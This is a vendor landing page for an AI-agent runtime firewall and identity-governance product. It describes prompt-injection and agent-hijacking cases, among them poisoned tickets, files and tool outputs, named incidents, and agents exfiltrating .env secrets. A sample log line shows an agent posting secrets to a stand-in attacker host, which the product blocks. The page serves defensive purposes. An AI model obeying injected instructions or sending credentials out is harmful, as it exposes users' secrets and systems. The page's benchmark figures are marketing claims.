🚀 Charter Design Partner Program is open — free 60-day pilot for the first cohort. Claim a seat →
Deterministic runtime firewall · NHI governance plane · open-source core

Runtime firewall +
NHI governance for AI agents.

Make untrusted data structurally unable to trigger a sensitive action — taint / information-flow control + policy at the tool-call boundary, a deterministic guarantee, not a guess. The same system is your system of record for every non-human identity: what it is, what it can do, what credentials it holds, and what it did. Drop-in for Claude Code, Cursor, Copilot, Devin, CI & MCP.

Live in < 1 day Runs in your VPC Monitor-mode first
svc-claude-code
ci-deploy-agent
mcp-ops-bot
STANDING SECRETS
0
ATTACK BLOCKED
taint/IFC ✓
B
Runtime Enforcement
Live 312/s
p95 24 ms 148 agents 342 blocked / 24h
Works with the agents & clouds you already run
Claude Code
Cursor
GitHub Copilot
Devin
MCP
AWS
HashiCorp Vault
Kubernetes
Snowflake
The problem

An agent reads untrusted content — then acts

Agents ingest untrusted input — a web page, a file, a ticket, another tool's output — then execute with real credentials. Prompt injection & agent hijacking is the #1 agentic risk (OWASP ASI01, 2026), and a text filter has to recognize the attack to stop it.

Prompt injection & hijacking

Poisoned files, tickets, web pages & tool responses override the agent's task — Agentjacking hijacked Claude Code / Cursor via a Sentry→MCP path.

Secret exfiltration

A hijacked agent reads .env / creds and posts them to an attacker host — the Clinejection pattern that hit thousands of dev machines in 2026.

Destructive, unbounded actions

An over-privileged agent runs with full blast radius — delete prod, move money, chain tools — with no step-up and no audit trail.

The platform

Twelve screens. One system of record.

An open-source core (engine + gateway + Python/TS SDKs, Apache-2.0) plus a managed control plane. Twelve MVP screens map the lifecycle end-to-end: Connections · Discovery · Inventory · Identity · Access (CIEM) · Grants · Policy · Approvals · Decisions · ITDR · Audit · Settings — the customer-owned data plane runs in your VPC, the Xtrom-managed control plane keeps the record.

Runtime enforcement — a guarantee, not a guess

Deterministic taint / Information-Flow Control makes untrusted data structurally unable to parameterize a sensitive action. Shipped policy rules: least-privilege capabilities, prod-destructive step-up, secret-egress allowlist, human approvals, taint/IFC.

svc-claude-code → http_post(attacker.io) // body ← SECRET+UNTRUSTED ⛔ BLOCK
// L3:ifc.untrusted_to_sink — secret never left the environment

Connections & Discovery

Secretless connectors (AWS, GitHub, Vault, MCP, IdP, agent frameworks) plus discovery of every governed & ungoverned agent identity across them.

Inventory & Identity

Every agent + live posture + credential history. The standing_secrets == 0 invariant is enforced at ingest.

Access (CIEM) & Grants (JIT)

Granted-vs-used right-sizing plus short-lived, scoped credentials with live countdown and revoke-now — pluggable JIT backends (STS, Vault, GCP-WI, Azure-MI).

Policy as code

Signed, KMS-verified, versioned entitlement bundles. Every decision is stamped with its policy_version; stale-cache = fail-closed.

Decisions live + ITDR

ALLOW / STEP-UP / BLOCK stream with layer + stable reason_code. Behavioral ITDR flags identity-compromise; quarantine, rotate, revoke from the same screen.

Approvals & Audit

Human step-up queue with silence-is-DENY SLA. Actor-attributed WORM audit trail with CSV / SIEM export. Global admin kill-switch, fail-safe.

Customer-owned data plane · Xtrom-managed control plane · open core

Engine, gateway, policy, JIT and SDKs are Apache-2.0 open source. The commercial control plane hosts the system-of-record, cross-fleet detection corpus, and console.

Request early access
The lifecycle

Connect → Discover → Govern → Enforce → Monitor → Respond → Prove

Every screen belongs to exactly one stage of this lifecycle — the mental model we sell, demo, and build to. Start in monitor-mode; enforce when you're ready.

1

Connect

Secretless connectors to AWS, GitHub, Vault, MCP, IdP.

2

Discover

Every agent — governed & ungoverned — inventoried.

3

Govern

Right-size entitlements; JIT credentials; policy bundles.

4

Enforce

Deterministic taint/IFC + policy at every tool call.

5

Monitor

Live decision stream + behavioral ITDR baselines.

6

Respond

Approve, step-up, quarantine, rotate, revoke — now.

7

Prove

WORM audit, policy-versioned, export to your SIEM.

Why Xtrom

Guardrails guess. We guarantee.

Model guardrails are probabilistic filters that get talked around. We enforce deterministically — and we're neutral across every model and cloud.

Model guardrails
  • Probabilistic — bypassed by rephrasing & encoding
  • Blind to indirect injection via tools & RAG
  • Locked to one model vendor — not neutral
  • No identity, entitlements, or audit trail
Xtrom
  • Deterministic taint/IFC at the action boundary
  • Stops indirect injection from any tool or document
  • Neutral — multi-model, multi-cloud
  • System of record for agent identity & access
The proof

Same attacks. 100% contained vs 20%.

On a mixed agent-attack corpus, deterministic enforcement contains every attack — including the low-signal ones a text classifier scores as harmless. Reproducible with our open benchmark harness.

100%
attacks contained — Xtrom
20%
attacks contained — guardrail-only
4
caught only by determinism
0
false positives on benign traffic
Attack Detector score Guardrail-only Xtrom Deterministic layer
indirect-injection exfil0.13ALLOW ✗BLOCK ✓L3 · taint/IFC
secret egress0.20ALLOW ✗BLOCK ✓L3 · secret-egress
out-of-scope tool call0.07ALLOW ✗BLOCK ✓L4 · scope
destructive prod action0.04ALLOW ✗STEP-UP ✓L4 · policy
blatant injection (both catch — honest overlap)0.90BLOCK ✓BLOCK ✓L3 · taint/IFC

We don't hide the overlap: blatant attacks are caught by both. The edge is the low-signal attacks that actually get through — decided on data provenance and capability, not on how malicious the text looks.

< 1 day
time to first governed agent
0
standing secrets
< 30ms
inline enforcement
100%
audit coverage
Security & trust

Built to be trusted with your most sensitive access

We're a security company — we hold ourselves to the standard we sell. Your agents and data stay in your environment.

Runs in your VPC

Data plane runs on your Kubernetes on any cloud (EKS/AKS/GKE). Prompts, secrets, and data never leave your environment.

KMS-signed policy

Signed, versioned entitlement bundles (KMS RSASSA_PSS); per-tenant HMAC PII pseudonymization on external log paths.

Immutable audit (WORM)

Every decision is written to S3 Object-Lock (COMPLIANCE mode) — the evidence your auditors and the EU AI Act require.

SOC 2 Type II — in progress ISO 27001 — on roadmap In-VPC / self-hosted security@xtrom.ai
FAQ

Questions security teams ask

Isn't this just prompt-injection detection?
No. Detection is probabilistic and gets bypassed by rephrasing. Our core is taint / Information-Flow Control: untrusted data is made structurally unable to parameterize a sensitive action — a deterministic guarantee, regardless of wording.
Won't this break our agents' workflows?
We start in monitor-mode — observing and showing what would be blocked with zero impact. You flip on enforcement only when you're confident, and fail-open/closed is a per-policy choice. Uncertain cases become a step-up approval, not a hard break.
How is this different from AWS Bedrock / model guardrails?
Guardrails are probabilistic content filters bound to one model vendor. Xtrom is neutral (multi-model, multi-cloud), enforces deterministically at the action boundary, and is the audit system of record for agent identity — which a model provider can't neutrally be.
Where does our data go?
The enforcement plane runs inside your VPC. Agent prompts, secrets, and data never leave your account. Our control plane sees only privacy-scrubbed policy metadata — never raw data.
How long does it take to get value?
Live in under a day via a one-line install (SDK, inline proxy, or MCP gateway). You'll have an agent inventory and a risk assessment on day one, before enforcing anything.
Charter Design Partner Program

Govern your agents before one leaks a secret.

A small first cohort of charter partners — free 60-day pilot, live in under a day, monitor-mode first so nothing breaks.